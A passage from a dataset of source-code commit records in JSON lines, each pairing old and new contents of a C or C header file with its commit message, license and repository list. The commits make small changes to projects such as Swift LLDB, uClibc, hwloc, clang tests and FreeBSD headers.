source project\n\/\/\n\/\/ Copyright (c) 2014 - 2016 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See https:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See https:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/ -----------------------------------------------------------------------------\n\n#include <stdint.h>\n\n\/\/ From swift's include\/swift\/Runtime\/Debug.h file.\nstruct RuntimeErrorDetails {\n  uintptr_t version;\n  const char *errorType;\n  const char *currentStackDescription;\n  uintptr_t framesToSkip;\n  void *memoryAddress;\n\n  struct Thread {\n    const char *description;\n    uint64_t threadID;\n    uintptr_t numFrames;\n    void **frames;\n  };\n\n  uintptr_t numExtraThreads;\n  Thread *threads;\n\n  struct FixIt {\n    const char *filename;\n    uintptr_t startLine;\n    uintptr_t startColumn;\n    uintptr_t endLine;\n    uintptr_t endColumn;\n    const char *replacementText;\n  };\n\n  struct Note {\n    const char *description;\n    uintptr_t numFixIts;\n    FixIt *fixIts;\n  };\n\n  uintptr_t numFixIts;\n  FixIt *fixIts;\n\n  uintptr_t numNotes;\n  Note *notes;\n};\n\nenum: uintptr_t {\n  RuntimeErrorFlagNone = 0,\n  RuntimeErrorFlagFatal = 1 << 0\n};\n\nextern \"C\"\nvoid _swift_runtime_on_report(uintptr_t flags, const char *message, RuntimeErrorDetails *details);\n","subject":"Include the necessary headers to make the swift-runtime-reporting test work.","message":"[testsuite] Include the necessary headers to make the swift-runtime-reporting test work.\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-lldb,apple\/swift-lldb,apple\/swift-lldb,apple\/swift-lldb,apple\/swift-lldb,apple\/swift-lldb"}
{"commit":"58aa106997fb828a292457b0668e8497fa253f7d","old_file":"include\/KeyPoint.h","new_file":"include\/KeyPoint.h","old_contents":"\/*\n * Modified version of Keypoint.h\n * Source location: https:\/\/github.com\/pippy360\/transformationInvariantImageSearch\/blob\/master\/fullEndToEndDemo\/src\/Keypoint.h\n*\/\n#pragma once\n#ifndef REVERSE_IMAGE_SEARCH_KEYPOINT_H\n#define REVERSE_IMAGE_SEARCH_KEYPOINT_H\n\n#include <iostream>\n#include <sstream>\n\nusing namespace std;\n\nclass KeyPoint {\n  public:\n    double x_, y_;\n    KeyPoint(double x, double y) {\n        x_ = x;\n        y_ = y;\n    };\n\n    \/**\n     * Convert a KeyPoint to a string\n     * @return string\n     *\/\n    string ToString() {\n        std::ostringstream string_stream_;\n      string_stream_<< \"KeyPoint[ \" << x_ << \", \" << y_ << \"]\";\n        return string_stream_.str();\n    }\n};\n\nnamespace hash {\n  template <>\n  struct hash<KeyPoint> {\n      std::size_t operator()(const KeyPoint &k) const {\n        using std::hash;\n          return ((hash<double>()(k.x_) ^ (hash<double>()(k.y_) << 1)) >> 1);\n      }\n  };\n}\n#endif","new_contents":"\/*\n * Modified version of Keypoint.h\n * Source location: https:\/\/github.com\/pippy360\/transformationInvariantImageSearch\/blob\/master\/fullEndToEndDemo\/src\/Keypoint.h\n*\/\n#pragma once\n#ifndef REVERSE_IMAGE_SEARCH_KEYPOINT_H\n#define REVERSE_IMAGE_SEARCH_KEYPOINT_H\n\n#include <iostream>\n#include <sstream>\n#include <math.h>\n\nusing namespace std;\n\nclass KeyPoint {\n  public:\n    double x_, y_;\n    KeyPoint(double x, double y) {\n        x_ = x;\n        y_ = y;\n    };\n\n    \/**\n     * Convert a KeyPoint to a string\n     * @return string\n     *\/\n    string ToString() {\n        std::ostringstream string_stream_;\n      string_stream_<< \"KeyPoint[ \" << x_ << \", \" << y_ << \"]\";\n        return string_stream_.str();\n    }\n};\n\nnamespace std {\n  template <>\n  struct hash<KeyPoint> {\n      std::size_t operator()(const KeyPoint &k) const {\n        using std::hash;\n          return ((hash<double>()(k.x_) ^ (hash<double>()(k.y_) << 1)) >> 1);\n      }\n  };\n}\n#endif","subject":"Resolve compilation issue due to missing math.h inclusion","message":"Resolve compilation issue due to missing math.h inclusion\n","lang":"C","license":"mit","repos":"rmcqueen\/reverse-image-search"}
{"commit":"a149716b29f626bfb3f3aa15722bac51fc05bac0","old_file":"src\/fake-lock-screen-pattern.h","new_file":"src\/fake-lock-screen-pattern.h","old_contents":"#ifndef _FAKE_LOCK_SCREEN_PATTERN_H_\n#define _FAKE_LOCK_SCREEN_PATTERN_H_\n\n#include <gtk\/gtk.h>\n\n#if !GTK_CHECK_VERSION(3, 0, 0)\ntypedef struct {\n  gdouble red;\n  gdouble green;\n  gdouble blue;\n  gdouble alpha;\n} GdkRGBA;\n#endif\n\nvoid flsp_draw_circle(cairo_t *context,\n                      gint x, gint y, gint radius,\n                      GdkRGBA circle, GdkRGBA border);\n\n#endif\n","new_contents":"#ifndef _FAKE_LOCK_SCREEN_PATTERN_H_\n#define _FAKE_LOCK_SCREEN_PATTERN_H_\n\n#include <gtk\/gtk.h>\n\n#if !GTK_CHECK_VERSION(3, 0, 0)\ntypedef struct {\n  gdouble red;\n  gdouble green;\n  gdouble blue;\n  gdouble alpha;\n} GdkRGBA;\n#endif\n\nvoid flsp_draw_circle(cairo_t *context,\n                      gint x, gint y, gint radius,\n                      GdkRGBA circle, GdkRGBA border);\n\ngboolean is_marked(gint x, gint y,\n                   gint *marked, void *user_data);\n\n#endif\n","subject":"Add prototype to judge marked point","message":"Add prototype to judge marked point\n","lang":"C","license":"mit","repos":"kenhys\/fake-lock-screen-pattern,kenhys\/fake-lock-screen-pattern"}
{"commit":"a64ce60a9291cc47f1f6298c0c9e3bbdf274350b","old_file":"tests\/hwloc_insert_misc.c","new_file":"tests\/hwloc_insert_misc.c","old_contents":"\/*\n * Copyright © 2009 CNRS\n * Copyright © 2009-2010 INRIA\n * Copyright © 2009-2010 Université Bordeaux 1\n * See COPYING in top-level directory.\n *\/\n\n#include <private\/config.h>\n#include <hwloc.h>\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n\nint main(void)\n{\n  hwloc_topology_t topology;\n  hwloc_bitmap_t cpuset;\n  hwloc_obj_t obj;\n\n  hwloc_topology_init(&topology);\n  hwloc_topology_load(topology);\n  hwloc_topology_check(topology);\n  cpuset = hwloc_bitmap_alloc();\n  hwloc_bitmap_set(cpuset, 0);\n  obj = hwloc_topology_insert_misc_object_by_cpuset(topology, cpuset, \"test\");\n  hwloc_topology_insert_misc_object_by_parent(topology, obj, \"test2\");\n  hwloc_topology_check(topology);\n  hwloc_topology_destroy(topology);\n\n  return 0;\n}\n","new_contents":"\/*\n * Copyright © 2009 CNRS\n * Copyright © 2009-2010 INRIA\n * Copyright © 2009-2010 Université Bordeaux 1\n * See COPYING in top-level directory.\n *\/\n\n#include <private\/config.h>\n#include <hwloc.h>\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n\nint main(void)\n{\n  hwloc_topology_t topology;\n  hwloc_bitmap_t cpuset;\n  hwloc_obj_t obj;\n\n  hwloc_topology_init(&topology);\n  hwloc_topology_load(topology);\n  hwloc_topology_check(topology);\n  cpuset = hwloc_bitmap_alloc();\n  hwloc_bitmap_set(cpuset, 0);\n  obj = hwloc_topology_insert_misc_object_by_cpuset(topology, cpuset, \"test\");\n  hwloc_bitmap_free(cpuset);\n  hwloc_topology_insert_misc_object_by_parent(topology, obj, \"test2\");\n  hwloc_topology_check(topology);\n  hwloc_topology_destroy(topology);\n\n  return 0;\n}\n","subject":"Fix a memory leak in tests","message":"Fix a memory leak in tests\n\ngit-svn-id: 14be032f8f42541b1a281b51ae8ea69814daf20e@2903 4b44e086-7f34-40ce-a3bd-00e031736276\n","lang":"C","license":"bsd-3-clause","repos":"BlueBrain\/hwloc,BlueBrain\/hwloc,BlueBrain\/hwloc,BlueBrain\/hwloc"}
{"commit":"4d26f6b0448ad636fb3f00c708b1a442c27c7872","old_file":"common\/uart.h","new_file":"common\/uart.h","old_contents":"#ifndef _UART_H_\n#define _UART_H_\n\n#include \"mk20dx256.h\"\n\nvoid uart_setup(UART_MemMapPtr base, int baud);\nvoid uart_putchar(UART_MemMapPtr base, char ch);\nvoid uart_putline(UART_MemMapPtr base, char * str);\n\n#endif\n","new_contents":"#ifndef _UART_H_\n#define _UART_H_\n\n#include \"mk20dx256.h\"\n#include \"pins.h\"\n\nvoid uart_setup(UART_MemMapPtr base, int baud);\nvoid uart_putchar(UART_MemMapPtr base, char ch);\nvoid uart_putline(UART_MemMapPtr base, char * str);\n\n\n\/*\n * Convenience function to setup UART0 on pins 0 and 1 with 115200 baud\n *\/\ninline static void uart0_setup_default() {\n  PIN0_PORT_PCR = PORT_PCR_MUX(3);\n  PIN1_PORT_PCR = PORT_PCR_MUX(3);\n  uart_setup(UART0_BASE_PTR, 115200);\n}\n\ninline static void uart0_putchar(char ch) {\n  uart_putchar(UART0_BASE_PTR, ch);\n}\n\ninline static void uart0_putline(char * str) {\n  uart_putline(UART0_BASE_PTR, str);\n}\n\n#endif\n","subject":"Add convenience functions for UART0","message":"Add convenience functions for UART0\n","lang":"C","license":"apache-2.0","repos":"mensi\/teensy_bare_metal,mensi\/teensy_bare_metal,mensi\/teensy_bare_metal"}
{"commit":"78b639ee5f507bf43f7570d025b82bf4d28f602c","old_file":"libc\/sysdeps\/linux\/powerpc\/bits\/msq.h","new_file":"libc\/sysdeps\/linux\/powerpc\/bits\/msq.h","old_contents":"","new_contents":"\/* Copyright (C) 1995, 1996, 1997, 2000 Free Software Foundation, Inc.\n   This file is part of the GNU C Library.\n\n   The GNU C Library is free software; you can redistribute it and\/or\n   modify it under the terms of the GNU Library General Public License as\n   published by the Free Software Foundation; either version 2 of the\n   License, or (at your option) any later version.\n\n   The GNU C Library is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n   Library General Public License for more details.\n\n   You should have received a copy of the GNU Library General Public\n   License along with the GNU C Library; see the file COPYING.LIB.  If not,\n   write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330,\n   Boston, MA 02111-1307, USA.  *\/\n\n#ifndef _SYS_MSG_H\n# error \"Never use <bits\/msq.h> directly; include <sys\/msg.h> instead.\"\n#endif\n\n#include <bits\/types.h>\n\n\/* Define options for message queue functions.  *\/\n#define MSG_NOERROR    010000  \/* no error if message is too big *\/\n#ifdef __USE_GNU\n# define MSG_EXCEPT    020000  \/* recv any msg except of specified type *\/\n#endif\n\n\/* Types used in the structure definition.  *\/\ntypedef unsigned long int msgqnum_t;\ntypedef unsigned long int msglen_t;\n\n\n\/* Structure of record for one message inside the kernel.\n   The type `struct msg' is opaque.  *\/\nstruct msqid_ds\n{\n  struct ipc_perm msg_perm;    \/* structure describing operation permission *\/\n  unsigned int __unused1;\n  __time_t msg_stime;          \/* time of last msgsnd command *\/\n  unsigned int __unused2;\n  __time_t msg_rtime;          \/* time of last msgrcv command *\/\n  unsigned int __unused3;\n  __time_t msg_ctime;          \/* time of last change *\/\n  unsigned long __msg_cbytes; \/* current number of bytes on queue *\/\n  msgqnum_t msg_qnum;          \/* number of messages currently on queue *\/\n  msglen_t msg_qbytes;         \/* max number of bytes allowed on queue *\/\n  __pid_t msg_lspid;           \/* pid of last msgsnd() *\/\n  __pid_t msg_lrpid;           \/* pid of last msgrcv() *\/\n  unsigned long __unused4;\n  unsigned long __unused5;\n};\n\n#ifdef __USE_MISC\n\n# define msg_cbytes    __msg_cbytes\n\n\/* ipcs ctl commands *\/\n# define MSG_STAT 11\n# define MSG_INFO 12\n\n\/* buffer for msgctl calls IPC_INFO, MSG_INFO *\/\nstruct msginfo\n  {\n    int msgpool;\n    int msgmap;\n    int msgmax;\n    int msgmnb;\n    int msgmni;\n    int msgssz;\n    int msgtql;\n    unsigned short int msgseg;\n  };\n\n#endif \/* __USE_MISC *\/\n","subject":"Make powerpc compile. Needs this header...","message":"Make powerpc compile.  Needs this header...\n","lang":"C","license":"lgpl-2.1","repos":"m-labs\/uclibc-lm32,wbx-github\/uclibc-ng,kraj\/uClibc,gittup\/uClibc,groundwater\/uClibc,ndmsystems\/uClibc,OpenInkpot-archive\/iplinux-uclibc,waweber\/uclibc-clang,kraj\/uclibc-ng,klee\/klee-uclibc,ChickenRunjyd\/klee-uclibc,skristiansson\/uClibc-or1k,kraj\/uClibc,waweber\/uclibc-clang,foss-xtensa\/uClibc,skristiansson\/uClibc-or1k,foss-xtensa\/uClibc,klee\/klee-uclibc,waweber\/uclibc-clang,kraj\/uclibc-ng,ChickenRunjyd\/klee-uclibc,atgreen\/uClibc-moxie,brgl\/uclibc-ng,ddcc\/klee-uclibc-0.9.33.2,klee\/klee-uclibc,mephi42\/uClibc,foss-for-synopsys-dwc-arc-processors\/uClibc,foss-for-synopsys-dwc-arc-processors\/uClibc,ysat0\/uClibc,hjl-tools\/uClibc,klee\/klee-uclibc,mephi42\/uClibc,czankel\/xtensa-uclibc,skristiansson\/uClibc-or1k,kraj\/uClibc,kraj\/uclibc-ng,foss-xtensa\/uClibc,mephi42\/uClibc,ffainelli\/uClibc,hwoarang\/uClibc,foss-for-synopsys-dwc-arc-processors\/uClibc,atgreen\/uClibc-moxie,czankel\/xtensa-uclibc,foss-xtensa\/uClibc,ddcc\/klee-uclibc-0.9.33.2,ddcc\/klee-uclibc-0.9.33.2,wbx-github\/uclibc-ng,hwoarang\/uClibc,brgl\/uclibc-ng,skristiansson\/uClibc-or1k,ndmsystems\/uClibc,hjl-tools\/uClibc,hjl-tools\/uClibc,czankel\/xtensa-uclibc,groundwater\/uClibc,groundwater\/uClibc,OpenInkpot-archive\/iplinux-uclibc,ndmsystems\/uClibc,wbx-github\/uclibc-ng,m-labs\/uclibc-lm32,majek\/uclibc-vx32,OpenInkpot-archive\/iplinux-uclibc,waweber\/uclibc-clang,m-labs\/uclibc-lm32,atgreen\/uClibc-moxie,hwoarang\/uClibc,gittup\/uClibc,ddcc\/klee-uclibc-0.9.33.2,ffainelli\/uClibc,czankel\/xtensa-uclibc,majek\/uclibc-vx32,brgl\/uclibc-ng,OpenInkpot-archive\/iplinux-uclibc,atgreen\/uClibc-moxie,ysat0\/uClibc,gittup\/uClibc,kraj\/uclibc-ng,ysat0\/uClibc,kraj\/uClibc,majek\/uclibc-vx32,hjl-tools\/uClibc,ndmsystems\/uClibc,foss-for-synopsys-dwc-arc-processors\/uClibc,wbx-github\/uclibc-ng,ffainelli\/uClibc,ChickenRunjyd\/klee-uclibc,majek\/uclibc-vx32,ysat0\/uClibc,groundwater\/uClibc,m-labs\/uclibc-lm32,gittup\/uClibc,brgl\/uclibc-ng,ffainelli\/uClibc,ffainelli\/uClibc,groundwater\/uClibc,hwoarang\/uClibc,hjl-tools\/uClibc,ChickenRunjyd\/klee-uclibc,mephi42\/uClibc"}
{"commit":"7124f160555bee9fb154b73893de6e853fe31441","old_file":"test\/Misc\/serialized-diags-stable.c","new_file":"test\/Misc\/serialized-diags-stable.c","old_contents":"\/\/ RUN: rm -f %t\n\/\/ RUN: not %clang -Wall -fsyntax-only %s --serialize-diagnostics %t.dia > \/dev\/null 2>&1\n\/\/ RUN: c-index-test -read-diagnostics %t.dia 2>&1 | FileCheck %s\n\n\/\/ RUN: c-index-test -read-diagnostics %S\/Inputs\/serialized-diags-stable.dia 2>&1 | FileCheck %s\n\nint foo() {\n  \/\/ CHECK: serialized-diags-stable.c:[[@LINE+2]]:1: warning: control reaches end of non-void function [-Wreturn-type] [Semantic Issue]\n  \/\/ CHECK-NEXT: Number FIXITs = 0\n}\n\n\/\/ CHECK: serialized-diags-stable.c:[[@LINE+5]]:13: error: redefinition of 'bar' as different kind of symbol [] [Semantic Issue]\n\/\/ CHECK-NEXT: Number FIXITs = 0\n\/\/ CHECK-NEXT: +-\/Volumes\/Lore\/llvm-public\/clang\/test\/Misc\/serialized-diags-stable.c:[[@LINE+2]]:6: note: previous definition is here [] []\n\/\/ CHECK-NEXT: Number FIXITs = 0\nvoid bar() {}\ntypedef int bar;\n\n\n\/\/ CHECK-LABEL: Number of diagnostics: 2\n","new_contents":"\/\/ RUN: rm -f %t\n\/\/ RUN: not %clang -Wall -fsyntax-only %s --serialize-diagnostics %t.dia > \/dev\/null 2>&1\n\/\/ RUN: c-index-test -read-diagnostics %t.dia 2>&1 | FileCheck %s\n\n\/\/ RUN: c-index-test -read-diagnostics %S\/Inputs\/serialized-diags-stable.dia 2>&1 | FileCheck %s\n\nint foo() {\n  \/\/ CHECK: serialized-diags-stable.c:[[@LINE+2]]:1: warning: control reaches end of non-void function [-Wreturn-type] [Semantic Issue]\n  \/\/ CHECK-NEXT: Number FIXITs = 0\n}\n\n\/\/ CHECK: serialized-diags-stable.c:[[@LINE+5]]:13: error: redefinition of 'bar' as different kind of symbol [] [Semantic Issue]\n\/\/ CHECK-NEXT: Number FIXITs = 0\n\/\/ CHECK-NEXT: +-serialized-diags-stable.c:[[@LINE+2]]:6: note: previous definition is here [] []\n\/\/ CHECK-NEXT: Number FIXITs = 0\nvoid bar() {}\ntypedef int bar;\n\n\n\/\/ CHECK-LABEL: Number of diagnostics: 2\n","subject":"Remove absolute path from r202733.","message":"Remove absolute path from r202733.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@202746 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"938b137bf0d12a999ae823e3e33ab5825810cf26","old_file":"tests\/regression\/01-cpa\/10-posneg.c","new_file":"tests\/regression\/01-cpa\/10-posneg.c","old_contents":"#include<stdio.h>\n#include<assert.h>\n\nint main() {\n  int i,k,j;\n\n  if (k == 5) {\n    assert(k == 5);\n    return 0;\n  }\n  assert(k != 5);\n\n  \/\/ simple arithmetic\n  i = k + 1;\n  assert(i != 6);\n  i = k - 1;\n  assert(i != 4);\n  i = k * 2;\n  assert(i != 10); \/\/ UNKNOWN! k could be -2147483643;\n  i = k \/ 2;\n  assert(i != 2); \/\/ UNKNOWN! k could be 4\n\n  return 0;\n}\n","new_contents":"#include<stdio.h>\n#include<assert.h>\n\nint main() {\n  int i,k,j;\n\n  if (k == 5) {\n    assert(k == 5);\n    return 0;\n  }\n  assert(k != 5);\n\n  \/\/ simple arithmetic\n  i = k + 1;\n  assert(i != 6);\n  i = k - 1;\n  assert(i != 4);\n  i = k * 3;       \/\/ multiplication with odd numbers is injective\n  assert(i != 15);\n  i = k * 2;       \/\/ multiplication with even numbers is not-injective\n  assert(i != 10); \/\/ UNKNOWN! k could be -2147483643;\n  i = k \/ 2;\n  assert(i != 2); \/\/ UNKNOWN! k could be 4\n\n  return 0;\n}\n","subject":"Add assertion about result of multiplication to test","message":"Add assertion about result of multiplication to test\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"bffdbdfa6d6527f3a4eec98cb64d711fa1d3ac59","old_file":"insts\/jg\/VOCODE2\/VOCODE2.h","new_file":"insts\/jg\/VOCODE2\/VOCODE2.h","old_contents":"#include <objlib.h>\n\n#define MAXFILTS 30\n\nclass VOCODE2 : public Instrument {\n   int       skip, numfilts, branch;\n   float     amp, aamp, pctleft, noise_amp, hipass_mod_amp;\n   float     *in, *amparray, amptabs[2];\n   SubNoiseL *noise;\n   Butter    *modulator_filt[MAXFILTS], *carrier_filt[MAXFILTS], *hipassmod;\n   Balance   *balancer[MAXFILTS];\n\npublic:\n   VOCODE2();\n   virtual ~VOCODE2();\n   int init(float *, int);\n   int run();\n};\n\n","new_contents":"#include <objlib.h>\n\n#define MAXFILTS 200\n\nclass VOCODE2 : public Instrument {\n   int       skip, numfilts, branch;\n   float     amp, aamp, pctleft, noise_amp, hipass_mod_amp;\n   float     *in, *amparray, amptabs[2];\n   SubNoiseL *noise;\n   Butter    *modulator_filt[MAXFILTS], *carrier_filt[MAXFILTS], *hipassmod;\n   Balance   *balancer[MAXFILTS];\n\npublic:\n   VOCODE2();\n   virtual ~VOCODE2();\n   int init(float *, int);\n   int run();\n};\n\n","subject":"Raise limit on number of filter bands.","message":"Raise limit on number of filter bands.\n","lang":"C","license":"apache-2.0","repos":"RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix"}
{"commit":"ec7b94e3440ec7203a98e5862c99124a96e2437e","old_file":"src\/lua\/helpers\/lua_static_member.h","new_file":"src\/lua\/helpers\/lua_static_member.h","old_contents":"","new_contents":"\/*ckwg +5\n * Copyright 2011 by Kitware, Inc. All Rights Reserved. Please refer to\n * KITWARE_LICENSE.TXT for licensing information, or contact General Counsel,\n * Kitware, Inc., 28 Corporate Drive, Clifton Park, NY 12065.\n *\/\n\n#ifndef VISTK_LUA_PIPELINE_LUA_STATIC_MEMBER_H\n#define VISTK_LUA_PIPELINE_LUA_STATIC_MEMBER_H\n\n#include \"lua_include.h\"\n\n#include <cstring>\n\n\/**\n * \\file lua_static_member.h\n *\n * \\brief Helpers setting static members on objects in Lua.\n *\/\n\n#define LUA_STATIC_boolean(var)   var\n#define LUA_STATIC_cfunction(var) &var\n#define LUA_STATIC_integer(var)   var\n#define LUA_STATIC_literal(var)   var\n#define LUA_STATIC_lstring(var)   var, strlen(var)\n#define LUA_STATIC_number(var)    var\n#define LUA_STATIC_string(var)    var.c_str()\n\n#define LUA_STATIC_MEMBER(interp, type, var, name)  \\\n  do                                                \\\n  {                                                 \\\n    lua_push##type(interp, LUA_STATIC_##type(var)); \\\n    lua_setfield(L, -2, name);                      \\\n  } while (false)\n\n#endif \/\/ VISTK_LUA_PIPELINE_LUA_STATIC_MEMBER_H\n","subject":"Add macro to set static members on lua classes","message":"Add macro to set static members on lua classes\n","lang":"C","license":"bsd-3-clause","repos":"mathstuf\/sprokit,Kitware\/sprokit,Kitware\/sprokit,Kitware\/sprokit,linus-sherrill\/sprokit,linus-sherrill\/sprokit,mathstuf\/sprokit,linus-sherrill\/sprokit,linus-sherrill\/sprokit,mathstuf\/sprokit,Kitware\/sprokit,mathstuf\/sprokit"}
{"commit":"47300b3e0591f3349e8bb61589adf1b175da3d81","old_file":"test\/Driver\/amdgpu-toolchain.c","new_file":"test\/Driver\/amdgpu-toolchain.c","old_contents":"\/\/ RUN: %clang -### -target amdgcn--amdhsa -x assembler -mcpu=kaveri %s 2>&1 | FileCheck -check-prefix=AS_LINK %s\n\/\/ AS_LINK: bin\/clang{{.*}} \"-cc1as\"\n\/\/ AS_LINK: bin\/lld{{.*}} \"-flavor\" \"gnu\" \"-target\" \"amdgcn--amdhsa\"\n","new_contents":"\/\/ RUN: %clang -### -target amdgcn--amdhsa -x assembler -mcpu=kaveri %s 2>&1 | FileCheck -check-prefix=AS_LINK %s\n\/\/ AS_LINK: bin\/clang{{.*}} \"-cc1as\"\n\/\/ AS_LINK: lld{{.*}} \"-flavor\" \"gnu\" \"-target\" \"amdgcn--amdhsa\"\n","subject":"Handle lld not being found in PATH.","message":"Handle lld not being found in PATH.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@248035 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"8b39c208106d5480723805893049ac8212ff39f0","old_file":"test\/Misc\/pr32207.c","new_file":"test\/Misc\/pr32207.c","old_contents":"","new_contents":"\/\/ test for r305179\n\/\/ RUN: %clang_cc1 -emit-llvm -O -mllvm -print-after-all %s -o %t 2>&1 | grep '*** IR Dump After Function Integration\/Inlining ***'\nvoid foo() {}\n","subject":"Add regression test for r305179.","message":"Add regression test for r305179.\n\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@305213 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"bb08463f2b8d1f7b8e325d0c9c35eeaacfb5cde6","old_file":"sys\/sparc64\/include\/floatingpoint.h","new_file":"sys\/sparc64\/include\/floatingpoint.h","old_contents":"","new_contents":"\/*\n * Copyright (c) 2002 David O'Brien <obrien@FreeBSD.org>.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n * 3. Neither the name of the author nor the names of any co-contributors\n *    may be used to endorse or promote products derived from this software\n *    without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY DAVID O'BRIEN AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n * $FreeBSD$\n *\/\n\n#ifndef _FLOATINGPOINT_H_\n#define _FLOATINGPOINT_H_\n\n#include <machine\/ieeefp.h>\n\n#endif \/* !_FLOATINGPOINT_H_ *\/\n","subject":"Add this FreeBSD standard header.","message":"Add this FreeBSD standard header.\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"8d3d13e234e4236e9ace7fa753c5946307504cdb","old_file":"test\/Analysis\/rdar-6541136-region.c","new_file":"test\/Analysis\/rdar-6541136-region.c","old_contents":"\/\/ RUN: clang-cc -verify -analyze -checker-cfref -analyzer-store=region %s\n\/\/ XFAIL\n\nstruct tea_cheese { unsigned magic; };\ntypedef struct tea_cheese kernel_tea_cheese_t;\nextern kernel_tea_cheese_t _wonky_gesticulate_cheese;\n\n\/\/ This test case exercises the ElementRegion::getRValueType() logic.\n\n\nvoid foo( void )\n{\n  kernel_tea_cheese_t *wonky = &_wonky_gesticulate_cheese;\n  struct load_wine *cmd = (void*) &wonky[1];\n  cmd = cmd;\n  char *p = (void*) &wonky[1];\n  *p = 1;\n  kernel_tea_cheese_t *q = &wonky[1];\n  kernel_tea_cheese_t r = *q; \/\/ expected-warning{{out-of-bound memory position}}\n}\n","new_contents":"\/\/ RUN: clang-cc -verify -analyze -checker-cfref -analyzer-store=region %s\n\nstruct tea_cheese { unsigned magic; };\ntypedef struct tea_cheese kernel_tea_cheese_t;\nextern kernel_tea_cheese_t _wonky_gesticulate_cheese;\n\n\/\/ This test case exercises the ElementRegion::getRValueType() logic.\n\n\nvoid foo( void )\n{\n  kernel_tea_cheese_t *wonky = &_wonky_gesticulate_cheese;\n  struct load_wine *cmd = (void*) &wonky[1];\n  cmd = cmd;\n  char *p = (void*) &wonky[1];\n  *p = 1;\n  kernel_tea_cheese_t *q = &wonky[1];\n  kernel_tea_cheese_t r = *q; \/\/ expected-warning{{out-of-bound memory position}}\n}\n","subject":"Test now passes. I'll hold off merging it with the BasicStore test until we know this is a stable change.","message":"Test now passes.  I'll hold off merging it with the BasicStore test until we know this is a stable change.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@70837 